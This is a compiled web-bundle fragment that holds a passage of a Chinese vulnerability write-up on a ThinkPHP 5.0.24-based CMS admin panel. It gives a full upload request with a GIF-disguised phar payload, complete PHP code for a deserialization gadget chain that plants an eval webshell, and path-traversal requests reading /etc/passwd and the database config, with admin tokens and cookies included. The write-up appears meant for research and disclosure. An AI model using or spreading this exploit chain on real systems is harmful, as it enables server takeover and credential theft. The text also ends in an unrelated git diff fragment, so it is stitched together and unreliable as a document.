\u5229\u7528\u601d\u8def"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.del,{children:"\u4e0b\u9762\u90fd\u662f\u672c\u5730\u767b\u5f55\u540e\u53f0\u6d4b\u8bd5"})}),"\n",(0,t.jsx)(e.p,{children:"\u6d4b\u8bd5\u524d\u9700\u8981\u627e\u5230\u4ee5\u4e0b\u51e0\u4e2a\u5229\u7528\u70b9"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsxs)(e.li,{children:["\u6709\u6587\u4ef6\u4e0a\u4f20\u7684\u70b9\uff08\u968f\u4fbf\u4e00\u4e2a\u70b9",(0,t.jsx)(e.code,{children:"\u9644\u4ef6\u4e0a\u4f20"}),"\u3001",(0,t.jsx)(e.code,{children:"\u56fe\u7247\u4e0a\u4f20"}),"\uff09"]}),"\n",(0,t.jsxs)(e.li,{children:["\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff08",(0,t.jsx)(e.code,{children:"Thinkphp v5.24.0"})," \u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe\uff09"]}),"\n",(0,t.jsxs)(e.li,{children:["\u6709\u4e00\u4e2a\u89e6\u53d1\u53cd\u5e8f\u5217\u5316\u7684\u5730\u65b9\uff08",(0,t.jsx)(e.code,{children:"\\app\\apiadmin\\controller\\Upgrade::download"}),"\uff09"]}),"\n"]}),"\n",(0,t.jsx)(e.h4,{id:"322-\u6587\u4ef6\u4e0a\u4f20",children:"3.2.2 \u6587\u4ef6\u4e0a\u4f20"}),"\n",(0,t.jsx)(e.p,{children:"\u540e\u53f0\u4e0a\u4f20\u9644\u4ef6\u7684\u70b9"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-http",children:'POST /index.php?s=apiadmin/upload/attach HTTP/1.1\nHost: 127.0.0.1\nContent-Length: 1813\nsec-ch-ua-platform: "macOS"\nadmintoken: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk3NzcwNTEsImV4cCI6MTc0NzU1MzA1MSwiaW5mbyI6eyJpZCI6MSwicm9sZV9pZCI6MX19.owTLJvtFv849uXzNkXmBhI7CITE9XDLTcsOopwnkU_M\nAccept-Language: zh-CN,zh;q=0.9\nsec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary45m5eoX47unvnRrB\nsec-ch-ua-mobile: ?0\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36\nAccept: */*\nOrigin: http://127.0.0.1\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://127.0.0.1/admin/\nAccept-Encoding: gzip, deflate, br\nCookie: thyuu-season=true; device_id=22d7283634e042b8b533e97d0a2c800c; PHPSESSID=q75l1g7qt17b7b7arietc8vu5k; admin_lang=cn; home_lang=cn; navigation-treeClicked-Arr=%5B%5D; imgname_id_upload=1-250211151550F2.jpg; img_id_upload=; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_IS_UPHTML=0; admin-treeClicked-Arr=%5B%5D; admin-treeClicked_All=0; admin-arctreeClicked_All=0; admin-arctreeClicked-Arr=%5B1%2C2%5D; referurl=http%3A%2F%2F127.0.0.1%3A8000%2F; left_menu_2024=0; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26typeid%3D5%26lang%3Dcn; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; users_id=3; qscms_visitor=%7B%22utype%22%3A2%2C%22mobile%22%3A%2218111111111%22%2C%22token%22%3A%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk1OTUzNTIsImV4cCI6MTc3MDgwNzM1MiwiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoyLCJtb2JpbGUiOiIxODExMTExMTExMSJ9fQ.8tO7sMrNWFTm6HfmP72Ujd-cDUGqOSUSRH6JT5et5BA%22%7D; qscms_access_export=1; qscms_access_delete=1; qscms_access_set_service=1\nConnection: keep-alive\n\n------WebKitFormBoundary45m5eoX47unvnRrB\nContent-Disposition: form-data; name="file"; filename="poc.jpg"\nContent-Type: image/jpeg\n\nGIF<?php __HALT_COMPILER(); ?>\n\x1c\x06\ufffd\ufffd\x01\ufffd\ufffd\ufffd\x11\ufffd\ufffd\ufffd\x01\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\x05\ufffd\ufffdO:27:"think\\process\\pipes\\Windows":1:{s:34:"\ufffdthink\\process\\pipes\\Windows\ufffdfiles";a:1:{i:0;O:17:"think\\model\\Pivot":5:{s:6:"parent";O:20:"think\\console\\Output":2:{s:9:"\ufffd*\ufffdstyles";a:7:{i:0;s:7:"getAttr";i:1;s:4:"info";i:2;s:5:"error";i:3;s:7:"comment";i:4;s:8:"question";i:5;s:9:"highlight";i:6;s:7:"warning";}s:28:"\ufffdthink\\console\\Output\ufffdhandle";O:30:"think\\session\\driver\\Memcached":1:{s:10:"\ufffd*\ufffdhandler";O:23:"think\\cache\\driver\\File":2:{s:10:"\ufffd*\ufffdoptions";a:4:{s:12:"cache_subdir";b:0;s:6:"prefix";s:0:"";s:4:"path";s:79:"php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[\'n\']); ?>/../a.php";s:13:"data_compress";b:0;}s:6:"\ufffd*\ufffdtag";s:2:"xx";}}}s:9:"\ufffd*\ufffdappend";a:1:{s:4:"test";s:8:"getError";}s:7:"\ufffd*\ufffddata";a:1:{s:7:"panrent";s:4:"true";}s:8:"\ufffd*\ufffderror";O:27:"think\\model\\relation\\HasOne":5:{s:5:"model";b:0;s:15:"\ufffd*\ufffdselfRelation";b:0;s:9:"\ufffd*\ufffdparent";N;s:8:"\ufffd*\ufffdquery";O:14:"think\\db\\Query":1:{s:8:"\ufffd*\ufffdmodel";O:20:"think\\console\\Output":2:{s:9:"\ufffd*\ufffdstyles";a:7:{i:0;s:7:"getAttr";i:1;s:4:"info";i:2;s:5:"error";i:3;s:7:"comment";i:4;s:8:"question";i:5;s:9:"highlight";i:6;s:7:"warning";}s:28:"\ufffdthink\\console\\Output\ufffdhandle";O:30:"think\\session\\driver\\Memcached":1:{s:10:"\ufffd*\ufffdhandler";O:23:"think\\cache\\driver\\File":2:{s:10:"\ufffd*\ufffdoptions";a:4:{s:12:"cache_subdir";b:0;s:6:"prefix";s:0:"";s:4:"path";s:79:"php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[\'n\']); ?>/../a.php";s:13:"data_compress";b:0;}s:6:"\ufffd*\ufffdtag";s:2:"xx";}}}}s:11:"\ufffd*\ufffdbindAttr";a:1:{s:2:"xx";s:2:"xx";}}s:8:"\ufffd*\ufffdmodel";s:4:"test";}}}\b\ufffd\ufffd\ufffdtest.txt\x04\ufffd\ufffd\ufffdd\ufffdg\x04\ufffd\ufffd\ufffd\f~\x7f\u0624\x01\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdtestUxGb\x069#2P;\ufffdT) \ufffd"\ufffd\ufffd\ufffd\ufffd\x02\ufffd\ufffd\ufffdGBMB\n------WebKitFormBoundary45m5eoX47unvnRrB--\n\n'})}),"\n",(0,t.jsx)(e.h4,{id:"323-\u5b58\u5728\u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe",children:"3.2.3 \u5b58\u5728\u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe"}),"\n",(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:"thinkphp v5.0.24"})," \u5b58\u5728\u4e00\u4e2a\u5229\u7528\u94fe\u80fd\u591f\u76f4\u63a5rce"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639077.png",alt:"image-20250303154302954"})}),"\n",(0,t.jsx)(e.p,{children:"poc"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:"<?php\nnamespace think\\cache\\driver;\n\nclass File {\n protected $options = [];\n protected $tag;\n public function __construct() {\n $this->tag = 'gg';\n $this->options = [\n 'cache_subdir' => false,\n 'prefix' => '',\n 'path' => 'php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[\\'n\\']); ?>/../a.php',\n 'data_compress' => false\n ];\n }\n}\n\nnamespace think\\session\\driver;\nuse think\\cache\\driver\\File;\n\nclass Memcached {\n protected $handler;\n function __construct() {\n $this->handler=new File();\n }\n}\n\nnamespace think\\console;\nuse think\\session\\driver\\Memcached;\n\nclass Output {\n protected $styles = [];\n private $handle;\n function __construct() {\n $this->styles = [\"getAttr\", 'info',\n 'error',\n 'comment',\n 'question',\n 'highlight',\n 'warning'];\n $this->handle = new Memcached();\n }\n}\n\nnamespace think\\db;\nuse think\\console\\Output;\n\nclass Query {\n protected $model;\n function __construct() {\n $this->model = new Output();\n }\n}\n\nnamespace think\\model\\relation;\nuse think\\console\\Output;\nuse think\\db\\Query;\n\nclass HasOne {\n public $model;\n protected $selfRelation;\n protected $parent;\n protected $query;\n protected $bindAttr = [];\n public function __construct() {\n $this->query = new Query(\"xx\", 'think\\console\\Output');\n $this->model = false;\n $this->selfRelation = false;\n $this->bindAttr = [\"xx\" => \"xx\"];\n }}\n\nnamespace think\\model;\nuse think\\console\\Output;\nuse think\\model\\relation\\HasOne;\n\nabstract class Model {\n}\n\nclass Pivot extends Model {\n public $parent;\n protected $append = [];\n protected $data = [];\n protected $error;\n protected $model;\n\n function __construct() {\n $this->parent = new Output();\n $this->error = new HasOne();\n $this->model = \"test\";\n $this->append = [\"test\" => \"getError\"];\n $this->data = [\"panrent\" => \"true\"];\n }\n}\n\nnamespace think\\process\\pipes;\nuse Phar;\nuse think\\model\\Pivot;\n\nclass Windows {\n private $files = [];\n public function __construct() {\n $this->files=[new Pivot()];\n }\n}\n\n$obj = new Windows();\n\n\n$phar = new Phar('poc.phar');\n$phar -> startBuffering(); //\u5f00\u59cb\u7f13\u51b2 Phar \u5199\u64cd\u4f5c\n$phar -> setStub('GIF'.'<?php __HALT_COMPILER();?>'); //\u8bbe\u7f6estub\uff0c\u589e\u52a0gif\u6587\u4ef6\u5934\n$phar ->addFromString('test.txt','test'); //\u8981\u538b\u7f29\u7684\u6587\u4ef6\n$phar -> setMetadata($obj); //\u5c06\u81ea\u5b9a\u4e49meta-data\u5b58\u5165manifest\n$phar -> stopBuffering(); ////\u505c\u6b62\u7f13\u51b2\u5bf9 Phar \u5f52\u6863\u7684\u5199\u5165\u8bf7\u6c42\uff0c\u5e76\u5c06\u66f4\u6539\u4fdd\u5b58\u5230\u78c1\u76d8\n\n\n\n"})}),"\n",(0,t.jsx)(e.h4,{id:"324-\u89e6\u53d1\u53cd\u5e8f\u5217\u5316",children:"3.2.4 \u89e6\u53d1\u53cd\u5e8f\u5217\u5316"}),"\n",(0,t.jsx)(e.p,{children:"\u524d\u9762\u53c8\u5728\u6587\u4e2d\u63d0\u5230phar\u89e6\u53d1\u53cd\u5e8f\u5217\u7684\u65b9\u5f0f\uff0c\u4e0e\u6587\u4ef6\u64cd\u4f5c\u76f8\u5173\u7684\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.code,{children:"\\app\\apiadmin\\controller\\Upgrade::download"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639078.png",alt:"image-20250303154918843"})}),"\n",(0,t.jsxs)(e.p,{children:["\u5728\u8fd9\u4e2a\u65b9\u6cd5\u4e2d\uff0c\u9996\u5148\u4f1a\u6253\u5f00",(0,t.jsx)(e.code,{children:"$path"}),"\uff0c\u5c31\u53ef\u76f4\u63a5\u89e6\u53d1\u53cd\u5e8f\u5217\u3002"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639079.png",alt:"image-20250303155019679"})}),"\n",(0,t.jsxs)(e.p,{children:["\u800c\u6b64\u65f6",(0,t.jsx)(e.code,{children:"$path"}),"\uff0c\u6ca1\u6709\u7ecf\u8fc7\u4efb\u4f55\u5904\u7406\uff0c\u5c31\u88ab\u4f20\u5165",(0,t.jsx)(e.code,{children:"$file->download($path, $save_file, false);"})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639080.png",alt:"image-20250303155124331"})}),"\n",(0,t.jsx)(e.p,{children:"\u6240\u4ee5\u8fd9\u91cc\u8fd8\u4e00\u4e2a\u6f0f\u6d1e\u5c31\u662f\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6,\u6211\u4eec\u7b80\u5355\u6765\u5229\u7528\u4e00\u4e0b"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-http",children:'GET /index.php?s=/apiadmin/Upgrade/download&path=../../../../../../etc/passwd×tamp= HTTP/1.1\nHost: 127.0.0.1\nsec-ch-ua-platform: "macOS"\nadmintoken: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk3NzcwNTEsImV4cCI6MTc0NzU1MzA1MSwiaW5mbyI6eyJpZCI6MSwicm9sZV9pZCI6MX19.owTLJvtFv849uXzNkXmBhI7CITE9XDLTcsOopwnkU_M\nAccept-Language: zh-CN,zh;q=0.9\nsec-ch-ua: "Not A(Brand";v="8", "Chromium";v="132"\nsec-ch-ua-mobile: ?0\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36\nAccept: */*\nOrigin: http://127.0.0.1\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://127.0.0.1/admin/\nAccept-Encoding: gzip, deflate, br\nCookie: thyuu-season=true; device_id=22d7283634e042b8b533e97d0a2c800c; PHPSESSID=q75l1g7qt17b7b7arietc8vu5k; admin_lang=cn; home_lang=cn; navigation-treeClicked-Arr=%5B%5D; imgname_id_upload=1-250211151550F2.jpg; img_id_upload=; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; ENV_IS_UPHTML=0; admin-treeClicked-Arr=%5B%5D; admin-treeClicked_All=0; admin-arctreeClicked_All=0; admin-arctreeClicked-Arr=%5B1%2C2%5D; referurl=http%3A%2F%2F127.0.0.1%3A8000%2F; left_menu_2024=0; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26typeid%3D5%26lang%3Dcn; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A0%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; users_id=3; qscms_visitor=%7B%22utype%22%3A2%2C%22mobile%22%3A%2218111111111%22%2C%22token%22%3A%22eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3Mzk1OTUzNTIsImV4cCI6MTc3MDgwNzM1MiwiaW5mbyI6eyJ1aWQiOjEsInV0eXBlIjoyLCJtb2JpbGUiOiIxODExMTExMTExMSJ9fQ.8tO7sMrNWFTm6HfmP72Ujd-cDUGqOSUSRH6JT5et5BA%22%7D; qscms_access_export=1; qscms_access_delete=1; qscms_access_set_service=1\nConnection: keep-alive\n\n\n'})}),"\n",(0,t.jsxs)(e.p,{children:["\u968f\u540e\u8bbf\u95ee",(0,t.jsx)(e.code,{children:"http://127.0.0.1/upgrade/zip/passwd/passwd_.zip"})]}),"\n",(0,t.jsxs)(e.p,{children:["\u5373\u53ef\u83b7\u5f97",(0,t.jsx)(e.code,{children:"/etc/passwd"})]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639081.png",alt:"image-20250303155254026"})}),"\n",(0,t.jsx)(e.p,{children:"\u5f53\u7136\u8bfb\u6570\u636e\u5e93\u6587\u4ef6\u4e5f\u662f\u53ef\u4ee5\u7684"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-tex",children:"http://127.0.0.1/index.php?s=/apiadmin/Upgrade/download&path=../application/database.php×tamp=\n"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639082.png",alt:"image-20250303155607673"})}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-tex",children:"http://127.0.0.1/upgrade/zip/database/database_.zip\n"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639083.png",alt:"image-20250303155634100"})}),"\n",(0,t.jsx)(e.h4,{id:"325-\u5229\u7528\u8fc7\u7a0b",children:"3.2.5 \u5229\u7528\u8fc7\u7a0b"}),"\n",(0,t.jsx)(e.p,{children:"\u751f\u6210\u6076\u610f\u7684\u9644\u4ef6"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-php",children:"<?php\nnamespace think\\cache\\driver;\n\nclass File {\n protected $options = [];\n protected $tag;\n public function __construct() {\n $this->tag = 'gg';\n $this->options = [\n 'cache_subdir' => false,\n 'prefix' => '',\n 'path' => 'php://filter/write=string.rot13/resource=./<?cuc @riny($_TRG[\\'n\\']); ?>/../a.php',\n 'data_compress' => false\n ];\n }\n}\n\nnamespace think\\session\\driver;\nuse think\\cache\\driver\\File;\n\nclass Memcached {\n protected $handler;\n function __construct() {\n $this->handler=new File();\n }\n}\n\nnamespace think\\console;\nuse think\\session\\driver\\Memcached;\n\nclass Output {\n protected $styles = [];\n private $handle;\n function __construct() {\n $this->styles = [\"getAttr\", 'info',\n 'error',\n 'comment',\n 'question',\n 'highlight',\n 'warning'];\n $this->handle = new Memcached();\n }\n}\n\nnamespace think\\db;\nuse think\\console\\Output;\n\nclass Query {\n protected $model;\n function __construct() {\n $this->model = new Output();\n }\n}\n\nnamespace think\\model\\relation;\nuse think\\console\\Output;\nuse think\\db\\Query;\n\nclass HasOne {\n public $model;\n protected $selfRelation;\n protected $parent;\n protected $query;\n protected $bindAttr = [];\n public function __construct() {\n $this->query = new Query(\"xx\", 'think\\console\\Output');\n $this->model = false;\n $this->selfRelation = false;\n $this->bindAttr = [\"xx\" => \"xx\"];\n }}\n\nnamespace think\\model;\nuse think\\console\\Output;\nuse think\\model\\relation\\HasOne;\n\nabstract class Model {\n}\n\nclass Pivot extends Model {\n public $parent;\n protected $append = [];\n protected $data = [];\n protected $error;\n protected $model;\n\n function __construct() {\n $this->parent = new Output();\n $this->error = new HasOne();\n $this->model = \"test\";\n $this->append = [\"test\" => \"getError\"];\n $this->data = [\"panrent\" => \"true\"];\n }\n}\n\nnamespace think\\process\\pipes;\nuse Phar;\nuse think\\model\\Pivot;\n\nclass Windows {\n private $files = [];\n public function __construct() {\n $this->files=[new Pivot()];\n }\n}\n\n$obj = new Windows();\n\n\n$phar = new Phar('poc.phar');\n$phar -> startBuffering(); //\u5f00\u59cb\u7f13\u51b2 Phar \u5199\u64cd\u4f5c\n$phar -> setStub('GIF'.'<?php __HALT_COMPILER();?>'); //\u8bbe\u7f6estub\uff0c\u589e\u52a0gif\u6587\u4ef6\u5934\n$phar ->addFromString('test.txt','test'); //\u8981\u538b\u7f29\u7684\u6587\u4ef6\n$phar -> setMetadata($obj); //\u5c06\u81ea\u5b9a\u4e49meta-data\u5b58\u5165manifest\n$phar -> stopBuffering(); ////\u505c\u6b62\u7f13\u51b2\u5bf9 Phar \u5f52\u6863\u7684\u5199\u5165\u8bf7\u6c42\uff0c\u5e76\u5c06\u66f4\u6539\u4fdd\u5b58\u5230\u78c1\u76d8\n\n\n\n"})}),"\n",(0,t.jsxs)(e.p,{children:["\u8fd9\u91cc\u5427 ",(0,t.jsx)(e.code,{children:"poc.phar"}),"\uff0c\u6539\u6210\u4e00\u4e2a\u56fe\u7247\u7684\u540e\u7f00\uff0c\u5c31\u884c\u4e86"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639084.png",alt:"image-20250303155733060"})}),"\n",(0,t.jsx)(e.p,{children:"\u89e6\u53d1phar"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639085.png",alt:"image-20250303155920816"})}),"\n",(0,t.jsxs)(e.p,{children:["\u6b64\u65f6\u5c31\u4f1a\u751f\u6210\u4e24\u4e2a\u6076\u610f\u7684\u6587\u4ef6\uff08\u554a\uff0c\u4f60\u95ee\u6211\u4e3a\u4ec0\u4e48\uff0cthinkphp\u7684\u94fe\u554a \u770b\u8fd9\u91cc->",(0,t.jsx)(e.a,{href:"https://blog.csdn.net/qq_41891666/article/details/107503710",children:"\u6211\u4e5f\u4e0d\u77e5\u9053\u54ea\u627e\u7684\u6587\u7ae0"}),"\uff09"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639086.png",alt:"image-20250303160359764"})}),"\n",(0,t.jsx)(e.p,{children:"\u6700\u540e\u518d\u6765\u4e00\u5f20"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202503031639087.png",alt:"image-20250303160546641"})}),"\n",(0,t.jsx)(e.h3,{id:"33-\u67d0\u67d0cms\u63d0\u4ea4\u5b98\u65b9\u4e86\u6682\u65f6\u4e0d\u8ba9\u516c\u5e03",children:"3.3 \u67d0\u67d0CMS\uff08\u63d0\u4ea4\u5b98\u65b9\u4e86\uff0c\u6682\u65f6\u4e0d\u8ba9\u516c\u5e03\uff09"}),"\n",(0,t.jsx)(e.h2,{id:"4-\u514d\u8d23\u58f0\u660e",children:"4. \u514d\u8d23\u58f0\u660e"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u514d\u8d23\u58f0\u660e"})}),"\n",(0,t.jsx)(e.p,{children:"\u672c\u6587\u6240\u6d89\u53ca\u7684\u6280\u672f\u4fe1\u606f\u4ec5\u4f9b\u5b89\u5168\u7814\u7a76\u4e0e\u5b66\u4e60\u4f7f\u7528\uff0c\u65e8\u5728\u63d0\u5347\u4fe1\u606f\u5b89\u5168\u610f\u8bc6\uff0c\u5e2e\u52a9\u5b89\u5168\u7814\u7a76\u4eba\u5458\u548c\u5f00\u53d1\u8005\u66f4\u597d\u5730\u7406\u89e3\u548c\u9632\u8303\u76f8\u5173\u5b89\u5168\u98ce\u9669\u3002"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u8d23\u4efb\u58f0\u660e\uff1a"})}),"\n",(0,t.jsxs)(e.ol,{children:["\n",(0,t.jsx)(e.li,{children:"\u672c\u6587\u6240\u63d0\u4f9b\u7684\u4fe1\u606f\u4ec5\u4f9b\u5408\u6cd5\u3001\u5408\u89c4\u7684\u5b89\u5168\u7814\u7a76\u4e0e\u5b66\u4e60\u4f7f\u7528\uff0c\u4e25\u7981\u7528\u4e8e\u4efb\u4f55\u975e\u6cd5\u76ee\u7684\u3002"}),"\n",(0,t.jsxs)(e.li,{children:["\u4efb\u4f55\u4eba\u4e0d\u5f97\u5229\u7528\u672c\u6587\u63d0\u4f9b\u7684\u6280\u672f\u4fe1\u606f\u8fdb\u884c\u672a\u7ecf\u6388\u6743\u7684",(0,t.jsx)(e.strong,{children:"\u653b\u51fb\u884c\u4e3a"}),"\uff0c\u5305\u62ec\u4f46\u4e0d\u9650\u4e8e",(0,t.jsx)(e.strong,{children:"\u6e17\u900f\u6d4b\u8bd5\u3001\u6076\u610f\u5229\u7528\u3001\u6570\u636e\u6cc4\u9732\u3001\u7834\u574f\u7cfb\u7edf"}),"\u7b49\u3002"]}),"\n",(0,t.jsxs)(e.li,{children:["\u672c\u6587\u6240\u8ff0\u77e5\u8bc6\u4e0d\u5f97\u7528\u4e8e\u5f00\u53d1\u3001\u4f20\u64ad\u3001\u9500\u552e\u6216\u4f7f\u7528\u4efb\u4f55\u5f62\u5f0f\u7684",(0,t.jsx)(e.strong,{children:"\u653b\u51fb\u6027\u5de5\u5177\u3001\u81ea\u52a8\u5316\u5229\u7528\u5de5\u5177\u6216\u6076\u610f\u8f6f\u4ef6"}),"\u3002"]}),"\n",(0,t.jsxs)(e.li,{children:["\u4f5c\u4e3a\u672c\u6587\u7684\u552f\u4e00\u4f5c\u8005\uff0c\u6211",(0,t.jsx)(e.strong,{children:"\u4e0d\u652f\u6301\u3001\u4e0d\u9f13\u52b1\u3001\u4e0d\u53c2\u4e0e"}),"\u4efb\u4f55\u5f62\u5f0f\u7684\u7f51\u7edc\u653b\u51fb\u884c\u4e3a\u3002\u82e5\u4f7f\u7528\u672c\u6587\u6240\u8ff0\u4fe1\u606f\u8fdb\u884c\u653b\u51fb\u6216\u5176\u4ed6\u6076\u610f\u6d3b\u52a8\uff0c\u884c\u4e3a\u4eba\u5e94\u5bf9\u5176\u884c\u4e3a\u53ca\u5176\u540e\u679c\u8d1f\u8d23\uff0c",(0,t.jsx)(e.strong,{children:"\u6211\u4e0d\u627f\u62c5\u4efb\u4f55\u6cd5\u5f8b\u8d23\u4efb"}),"\u3002"]}),"\n",(0,t.jsx)(e.li,{children:"\u6211\u4e0d\u5bf9\u4efb\u4f55\u7531\u4e8e\u4f7f\u7528\u6216\u8bef\u7528\u672c\u6587\u4fe1\u606f\u800c\u9020\u6210\u7684\u76f4\u63a5\u6216\u95f4\u63a5\u635f\u5931\u627f\u62c5\u4efb\u4f55\u8d23\u4efb\u3002"}),"\n",(0,t.jsx)(e.li,{children:"\u5982\u679c\u8be5\u6280\u672f\u4fe1\u606f\u6d89\u53ca\u7279\u5b9a\u5382\u5546\u6216\u8f6f\u4ef6\uff0c\u6211\u5efa\u8bae\u76f8\u5173\u65b9\u5c3d\u5feb\u8fdb\u884c\u5b89\u5168\u52a0\u56fa\uff0c\u5e76\u547c\u5401\u8bfb\u8005\u9075\u5b88\u8d1f\u8d23\u4efb\u7684\u6f0f\u6d1e\u62ab\u9732\u6d41\u7a0b\u3002"}),"\n",(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:"\u6240\u6709\u6d89\u53ca\u7684\u6f0f\u6d1e\u4fe1\u606f\u5df2\u53ca\u65f6\u544a\u77e5\u76f8\u5173\u5382\u5546"}),"\uff0c\u5e76\u5efa\u8bae\u4ed6\u4eec\u8fdb\u884c\u4fee\u590d\u548c\u52a0\u56fa\u3002"]}),"\n"]}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.strong,{children:"\u6cd5\u5f8b\u5408\u89c4\u63d0\u9192\uff1a"})}),"\n",(0,t.jsx)(e.p,{children:"\u8bf7\u786e\u4fdd\u60a8\u5728\u9075\u5b88\u76f8\u5173\u6cd5\u5f8b\u6cd5\u89c4\u7684\u524d\u63d0\u4e0b\u4f7f\u7528\u672c\u6587\u4fe1\u606f\u3002\u5982\u6709\u4efb\u4f55\u7591\u95ee\uff0c\u8bf7\u54a8\u8be2\u4e13\u4e1a\u6cd5\u5f8b\u4eba\u58eb\u6216\u76f8\u5173\u673a\u6784\u3002"}),"\n",(0,t.jsx)(e.h2,{id:"5-\u53c2\u8003",children:"5. \u53c2\u8003"}),"\n",(0,t.jsxs)(e.ul,{children:["\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:"https://threezh1.com/2019/09/09/phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6",children:"phar\u53cd\u5e8f\u5217\u5316"})}),"\n",(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:"https://blog.csdn.net/qq_41891666/article/details/107503710",children:"thinkphp v5.0.24 \u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe\u5206\u6790_v5.0.24 \u4e0b\u8f7d\u547d\u4ee4-CSDN\u535a\u5ba2"})}),"\n"]})]})}function p(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(d,{...n})}):d(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/24e933c3.fad06711.js b/en/assets/js/24e933c3.fad06711.js new file mode 100644 index 0000000..a18c30d --- /dev/null +++ b/en/assets/js/24e933c3.fad06711.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5743],{692:(n,e,s)=>{s.d(e,{A:()=>a});const a=s.p+"assets/images/fashion-mnist-sprite-e505930fa54d62f4bba9830b8b3fd83c.png"},7622:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>l,contentTitle:()=>i,default:()=>h,frontMatter:()=>o,metadata:()=>a,toc:()=>c});const a=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u56db\u7ae0/4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b","title":"4.4 